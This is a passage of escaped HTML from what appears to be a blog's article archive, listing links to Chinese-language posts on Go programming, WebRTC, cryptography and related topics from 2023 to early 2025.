href=\"https://tonybai.com/2025/02/08/personal-idea-about-using-question-mark-operator-in-go-error-handling-new-proposal/\"\u003e关于Go错误处理新提案的一个想法：?操作符这样用行不行\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/02/05/go-encoding-json-v2-proposal-json-processing-new-engine/\"\u003eGo encoding/json/v2提案：JSON处理新引擎\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202501\"\u003e2025.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/01/23/the-hidden-details-of-go-exported-identifiers/\"\u003eGo导出标识符：那些鲜为人知的细节\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/01/22/gcflags-options-list-and-usage/\"\u003e探索Go gcflags的使用模式与完整参数选项列表\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/01/14/understand-go-and-toolchain-in-go-dot-mod/\"\u003eGo工具链版本已不由你定：go和toolchain指令详解\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/01/06/the-2024-review-of-go-programming-language/\"\u003e2024年Go语言盘点：排名历史新高，团队新老传承\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零二四\"\u003e二零二四\u003c/h3\u003e\n\u003ch4 id=\"202412\"\u003e2024.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/12/26/exploring-the-connection-establish-process-of-webrtc-app-built-with-pion/\"\u003e探索基于pion开发的WebRTC应用的建连过程\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/12/23/convert-github-issue-to-markdown-with-issue2md/\"\u003e使用issue2md将Github issue转换为Markdown\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/12/17/go-1-24-foresight-part2/\"\u003eGo 1.24新特性前瞻：工具链和标准库\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/12/16/go-1-24-foresight-part1/\"\u003eGo 1.24新特性前瞻：语法、编译器与运行时\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/12/14/webrtc-first-lesson-how-connection-estabish/\"\u003eWebRTC第一课：从信令、ICE到NAT穿透的连接建立全流程\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/12/11/simulate-quantum-computing-in-go/\"\u003e量子计算入门与Go模拟\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/12/05/exploring-nat-mapping-assignment-and-filtering-behavior-of-docker-default-network/\"\u003e探索Docker默认网络NAT映射的分配与过滤行为\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/12/02/why-go-sucks/\"\u003e惊！Go在十亿次循环和百万任务中表现不如Java，究竟为何？\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202411\"\u003e2024.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/27/webrtc-first-lesson-network-architecture-and-how-nat-work/\"\u003eWebRTC第一课：网络架构与NAT工作原理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/24/how-to-support-hash-based-bisect-in-go-package/\"\u003e一文搞懂如何在Go包中支持Hash-Based Bisect调试\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/21/go-source-file-selection-details-when-building-package/\"\u003eGo包构建：专家也未必了解的文件选择细节\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/16/go-crypto-and-fips-140/\"\u003e走向合规：Go加密库对FIPS 140的支持\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/15/install-gotip-using-go-repo-mirror/\"\u003eGotip安装：基于Go镜像代码仓库\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/14/go-map-use-swiss-table/\"\u003eGo map使用Swiss Table重新实现，性能最高提升近50%\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/12/go-turns-15/\"\u003eGo，15岁了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/11/some-details-about-go-compilation/\"\u003eGo编译的几个细节，连专家也要停下来想想\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/07/exploring-caddy/\"\u003e从简单到强大：再次探索Caddy服务器的魅力\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/03/become-the-one-with-the-hammer/\"\u003e成为那个拿锤子的人\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/11/01/introduction-to-passkey/\"\u003e构建无密码认证：passkey入门与Go实现\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202410\"\u003e2024.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/29/go-coding-is-like-drinking-boiled-water/\"\u003e写Go就像喝白开水\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/27/ten-details-when-using-documentation-comments/\"\u003e写出Go标准库级别文档注释的十个细节\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/24/cognitive-load-impact-on-programming-language-choice-and-study\"\u003e认知负荷对编程语言选择和学习的影响\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/19/go-crypto-package-design-deep-dive\"\u003eGo开发者的密码学导航：crypto库使用指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/14/programming-in-ai-era/\"\u003e智能时代临近：我眼中AI编程的现在与未来\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/11/go-evolution-dual-insurance-goexperiment-godebug/\"\u003eGo语言演进的双保险：GOEXPERIMENT与GODEBUG\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/11/the-cl-author-guide-to-getting-through-code-review/\"\u003e代码提交者的代码评审通关指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/10/pass-torch-to-go-new-leadership-team/\"\u003eGo语言的新时代：新领导团队和未来规划\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/09/resonating-with-thorsten-ball-on-go-in-technical-writing/\"\u003e与Thorsten Ball的共鸣：Go作为教学语言在技术写作中的优越性\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/08/go-languages-versatility-from-devops-to-daily-scripts/\"\u003e从DevOps到日常脚本：聊聊Go语言的多面性\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/05/using-git-submodules-in-go-projects/\"\u003eGo项目中使用Git Submodule，还有这个必要吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/03/how-to-daemonize-go-program/\"\u003e探索Go守护进程的实现方法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/10/02/why-canonical-import-paths-no-longer-necessary-in-go/\"\u003e为什么Canonical Import Path注释在Go中不再必要\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202409\"\u003e2024.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/30/how-to-keep-up-with-go-evolution/\"\u003e跟上Go演进步伐，你只需要关注这几件事儿\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/28/understand-deep-copy-in-go/\"\u003eGo语言中的深拷贝：概念、实现与局限\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/24/the-evolution-of-type-name-in-go-spec/\"\u003e“类型名称”在Go语言规范中的演变\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/23/go-weak-package-preview/\"\u003eGo weak包前瞻：弱指针为内存管理带来新选择\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/20/htmx-gopher-perfect-partner-for-full-stack/\"\u003ehtmx：Gopher走向全栈的完美搭档？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/18/understand-go-unique-package-by-example/\"\u003eGo unique包：突破字符串局限的通用值Interning技术实现\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/12/solve-the-empty-value-dilemma-in-json-encoding-with-omitzero/\"\u003eJSON包新提案：用“omitzero”解决编码中的空值困局\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/10/programmer-mentors-and-their-classic-works/\"\u003e致敬：程序员成长路上的良师与经典著作\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/09/06/go-doc-add-http-support/\"\u003e重拾精髓：go doc -http让离线包文档浏览更便捷\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202408\"\u003e2024.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/08/27/a-new-syntax-quiz-after-go-1-18/\"\u003eGo 1.18之后的语法新特性Quiz，你能做对几个？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/08/22/go-as-first-language\"\u003e从零开始编程：Go语言真的适合新手吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/08/19/some-changes-in-go-1-23/\"\u003eGo 1.23中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/08/17/go-the-c-language-of-the-internet-era-come-true/\"\u003e都2024年了，当初那个“Go，互联网时代的C语言”的预言成真了吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/08/11/understand-functional-programming-in-go/\"\u003e通过Go示例理解函数式编程思维\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/08/05/formally-verify-concurrent-go-programs-using-tla-plus/\"\u003e使用TLA+形式化验证Go并发程序\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/08/04/gopherdaily-add-feed-support/\"\u003eGopher Daily支持Feed订阅\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202407\"\u003e2024.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/07/21/simd-in-go/\"\u003eGo语言中的SIMD加速：以矩阵加法为例\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/07/20/sql-query-execution-order/\"\u003e通过实例理解SQL查询语句的执行顺序\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/07/15/understand-the-ways-to-access-databases-in-go/\"\u003e通过实例理解Go访问和操作数据库的几种方式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/07/05/go-fundamentals-translation/\"\u003eGo语言编程指南翻译记：一本书，一支队伍，一段难忘的旅程\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202406\"\u003e2024.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/06/28/go-and-nn-part3-handwritten-digit-recognition/\"\u003eGo与神经网络：手写数字识别\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/06/24/range-over-func-and-package-iter-in-go-1-23/\"\u003eGo 1.23中的自定义迭代器与iter包\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/06/22/how-things-get-done-on-the-go-team/\"\u003eGo团队的工作方式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/06/16/gopher-rust-first-lesson-managing-deps/\"\u003eGopher的Rust第一课：Rust的依赖管理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/06/10/go-and-nn-part2-linear-regression/\"\u003eGo与神经网络：线性回归\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/06/06/gopher-rust-first-lesson-organizing-rust-code/\"\u003eGopher的Rust第一课：Rust代码组织\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202405\"\u003e2024.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/05/30/go-1-23-foresight/\"\u003eGo 1.23新特性前瞻\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/05/27/gopher-rust-first-lesson-first-rust-program/\"\u003eGopher的Rust第一课：第一个Rust程序\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/05/19/what-the-go-team-think-go-is/\"\u003eGo团队：Go是什么\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/05/17/the-early-evangelists-of-go/\"\u003eGo早期的那些布道者\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/05/10/gopher-rust-first-lesson-setup-dev-env/\"\u003eGopher的Rust第一课：建立Rust开发环境\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/05/09/text-vectorization-using-ollama-and-go-based-on-text-embedding-models/\"\u003e使用Ollama和Go基于文本嵌入模型实现文本向量化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/05/06/those-free-to-use-online-llm-services/\"\u003e那些可免费使用的在线大语言模型服务\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/05/05/dead-code-elimination-and-executable-file-slimming-in-go/\"\u003eGo未用代码消除与可执行文件瘦身\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202404\"\u003e2024.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/04/24/go-journey-at-google/\"\u003e从零到生产：Go在Google的历程[译]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/04/23/playing-with-meta-llama3-8b-on-cpu-using-ollama-and-openwebui/\"\u003e使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/04/22/gopher-rust-first-lesson-all-about-rust/\"\u003eGopher的Rust第一课：Rust的那些事儿\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/04/14/either-return-error-or-log-them-do-not-do-both/\"\u003e要么返回错误值，要么输出日志，别两样都做\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/04/09/choose-the-right-go-module-path/\"\u003e选择正确的Go Module Path\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202403\"\u003e2024.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/03/29/the-issue-in-pkg-level-var-init-order-in-go-1-22/\"\u003eGo 1.22引入的包级变量初始化次序问题\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202402\"\u003e2024.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/02/18/some-changes-in-go-1-22/\"\u003eGo 1.22中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202401\"\u003e2024.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/01/24/rust-vs-go-in-2024\"\u003e2024年的Rust与Go[译]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/01/08/go-unit-testing-deps-on-kafka/\"\u003e依赖Kafka的Go单元测试例解\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/01/07/what-we-got-right-what-we-got-wrong/\"\u003eGo语言之父的反思：我们做对了什么，做错了什么\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2024/01/01/go-testing-by-example/\"\u003eGo测试的20个实用建议\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零二三\"\u003e二零二三\u003c/h3\u003e\n\u003ch4 id=\"202312\"\u003e2023.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/12/31/the-2023-review-of-go-programming-language/\"\u003e2023年Go语言盘点：稳中求新，稳中求变\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/12/25/go-1-22-foresight/\"\u003eGo 1.22新特性前瞻\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/12/22/understand-oidc-by-example/\"\u003e通过实例理解OpenID身份认证\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/12/16/understand-oauth2-by-example/\"\u003e通过实例理解OAuth2授权\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/12/11/simplicity/\"\u003e简单之道\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/12/10/go-changes/\"\u003eGo未来演进：基于共同目标和数据驱动的决策\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/12/06/a-minimum-set-of-diagrams-for-expressing-software-architecture\"\u003e有效表达软件架构的最小图集\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/12/03/understand-api-gateway-main-functional-features-by-example\"\u003e通过实例理解API网关的主要功能特性\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202311\"\u003e2023.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/11/25/grpc-handler-unit-testing-in-go/\"\u003eGo语言gRPC服务Handler单元测试详解\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/11/19/understand-go-web-cross-origin-problem-by-example/\"\u003e通过实例理解Web应用跨域问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/11/15/relational-algebra-and-sql-with-go-examples/\"\u003e关系代数、SQL语句和Go语言示例\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/11/11/go-opensource-14-years/\"\u003eGo，14周年[译]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/11/08/understand-go-web-secret-management-by-example\"\u003e通过实例理解Web应用的机密管理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/11/04/understand-go-web-authz-by-example/\"\u003e通过实例理解Web应用授权的几种方式\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202310\"\u003e2023.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/10/25/understand-password-storage-of-web-app-by-example/\"\u003e通过实例理解Web应用用户密码存储方案\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/10/23/understand-go-web-authn-by-example/\"\u003e通过实例理解Go Web身份认证的几种方式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/10/16/implementation-of-app-licensing-based-on-verifying-sign-by-pubkey/\"\u003e基于公钥验签实现应用许可机制\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/10/13/multiple-ways-to-bind-certificates-on-go-tls-server-side\"\u003eGo TLS服务端绑定证书的几种方式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/10/09/service-weaver-coding-in-monolithic-deploy-in-microservices/\"\u003eService Weaver：以单体形式编码，以微服务形式部署\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/10/05/the-official-guide-of-organizing-go-project/\"\u003eGo项目目录该怎么组织？官方终于出指南了！\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202309\"\u003e2023.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/09/28/dependency-injection-with-go/\"\u003e聊聊Go与依赖注入\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/09/23/p2p-rtc-implementation-with-go-and-webrtc-data-channel/\"\u003e使用Go和WebRTC data channel实现端到端实时通信\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/09/10/understand-go-forward-compatibility-and-toolchain-rule/\"\u003e聊聊Go语言的向前兼容性和toolchain规则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/09/04/slog-in-action-file-logging-rotation-and-kafka-integration/\"\u003eslog实战：文件日志、轮转与kafka集成\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/09/01/slog-a-new-choice-for-logging-in-go\"\u003eslog正式版来了：Go日志记录新选择！\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202308\"\u003e2023.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/08/30/how-to-build-with-only-archive-in-go/\"\u003e编译Go应用的黑盒挑战：无源码只有.a文件，你能搞定吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/08/20/some-changes-in-go-1-21/\"\u003eGo 1.21中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/08/11/introduction-to-the-gonew-tool/\"\u003eGo项目初始化不再困扰你：gonew全方位解析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/08/06/gopherdaily-revamped/\"\u003eGopher Daily改版了\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202307\"\u003e2023.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/07/31/a-guide-of-using-apache-arrow-for-gopher-part6/\"\u003eGo语言开发者的Apache Arrow使用指南：读写Parquet文件\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/07/22/a-guide-of-using-apache-arrow-for-gopher-part5/\"\u003eGo语言开发者的Apache Arrow使用指南：扩展compute包\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/07/16/the-guide-of-go-testing-with-testify-package/\"\u003e使用testify包辅助Go测试指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4/\"\u003eGo语言开发者的Apache Arrow使用指南：数据操作\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/07/08/a-guide-of-using-apache-arrow-for-gopher-part3/\"\u003eGo语言开发者的Apache Arrow使用指南：高级数据结构\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/07/01/arrow-columnar-analytics/\"\u003eApache Arrow：驱动列式分析性能和连接性的提升[译]\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202306\"\u003e2023.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/06/30/a-guide-of-using-apache-arrow-for-gopher-part2\"\u003eGo语言开发者的Apache Arrow使用指南：内存管理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\"\u003eGo语言开发者的Apache Arrow使用指南：数据类型\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/06/18/go-package-design-guide/\"\u003eGo语言包设计指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/06/13/understand-go-gc-overhead-behind-the-convenience/\"\u003eGo GC：了解便利背后的开销\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/06/04/reflection-programming-guide-in-go/\"\u003eGo语言反射编程指南\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202305\"\u003e2023.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/05/28/understand-time-series-of-tsdb/\"\u003e理解时序数据库的时间线\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/05/27/control-flow-statement-in-go/\"\u003e聊聊Go语言的控制语句\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/05/21/go-and-nn-part1-tensor-operations\"\u003eGo与神经网络：张量运算\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/05/14/a-guide-of-using-go-error-chain/\"\u003eGo错误处理：错误链使用指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/05/10/a-guide-of-managing-multiple-go-modules-in-mono-repo/\"\u003eGo项目组织：在单一repo中管理多个Go module指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/05/05/go-value-and-pointer/\"\u003eGo：值与指针\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202304\"\u003e2023.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/04/26/go-1-21-foresight/\"\u003eGo 1.21新特性前瞻\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/04/20/provide-fake-object-for-external-collaborators/\"\u003e单测时尽量用fake object\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/04/16/understanding-unsafe-assume-no-moving-gc/\"\u003e理解unsafe-assume-no-moving-gc包\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/04/08/the-reason-why-go-test-fails-when-module-path-is-main/\"\u003e一文告诉你当module path为main时执行go test失败的真正原因\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/04/02/map-element-types-support-in-place-update/\"\u003e一文告诉你哪些map element类型支持就地更新\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202303\"\u003e2023.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2023/03/30/automated-testing-driven-by-go-test/\"\u003e使用go 